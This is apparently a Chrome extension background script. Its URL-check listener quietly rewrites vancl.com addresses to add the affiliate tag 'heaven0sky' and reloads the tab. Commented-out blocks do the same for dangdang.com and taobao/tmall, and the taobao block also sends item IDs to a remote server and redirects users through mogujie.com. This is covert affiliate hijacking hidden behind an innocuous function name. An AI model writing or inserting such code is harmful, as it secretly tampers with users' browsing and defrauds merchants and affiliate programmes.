function checkForValidUrl(tabId, changeInfo, tab) {
    var LocString = tab.url;
    function getQueryParameter(qs) {
        var s = LocString;
        s = s.replace("?", "?&").split("&");
        var re = "";
        for (i = 1; i < s.length; i++)
        if (s[i].indexOf(qs + "=") == 0) re = s[i].replace(qs + "=", "");
        return re;
    }
    if (tab.url.indexOf("vancl.com") > -1 && tab.url.indexOf("heaven0sky") < 0 && tab.url.indexOf("union.vancl.com") < 0) {
        var u = tab.url;
        if (u.indexOf("?") > -1) {
            if (u.indexOf("source") > -1) {
                u = u.replace(/source=(.*?)(&|$)/, "source=heaven0sky$2");
            } else {
                u += "&source=heaven0sky";
            }
        }
        else {
            u += "?source=heaven0sky";
        }
        chrome.tabs.update(tabId, {
            url: u
        });
    }
    /*
    if (tab.url.indexOf("product.dangdang.com/product.aspx") > -1 && tab.url.indexOf("286996") < 0) {
        var u = tab.url;
        if (u.indexOf("?") > -1) {
            u += "&_ddclickunion=P-286996";
        }
        else {
            u += "?_ddclickunion=P-286996";
        }
        chrome.tabs.update(tabId, {
            url: u
        });
    }*/
    /*
    if (tab.url.indexOf('taobao.com') > -1 || tab.url.indexOf('tmall.com') > -1) {
        var myId = getJuandouId();
        if (tab.url.indexOf(myId) > -1) {
            return;
        }
        var id = getQueryParameter("id");
        if (getQueryParameter("item_num_id") != "") {
            id = getQueryParameter("item_num_id");
        }
        if (id != "") {
            var nick = "heaven0sky";
            var u = "";
            var xhr = new XMLHttpRequest();
            xhr.open("GET", getUrl() + "?nick=" + nick + "&srcId=" + id, false);
            xhr.onreadystatechange = function() {
                if (xhr.readyState == 4) {
                    u = xhr.responseText;
                    if (u != "") {
                         chrome.tabs.update(tabId, {
                               url: "http://www.mogujie.com/ju?to=" + encodeURIComponent(tab.url) + "&p=" + getJuandouId()
                         });
                    }
                    
                }
            }
            xhr.send();
        }
    }*/
};
chrome.tabs.onUpdated.addListener(checkForValidUrl);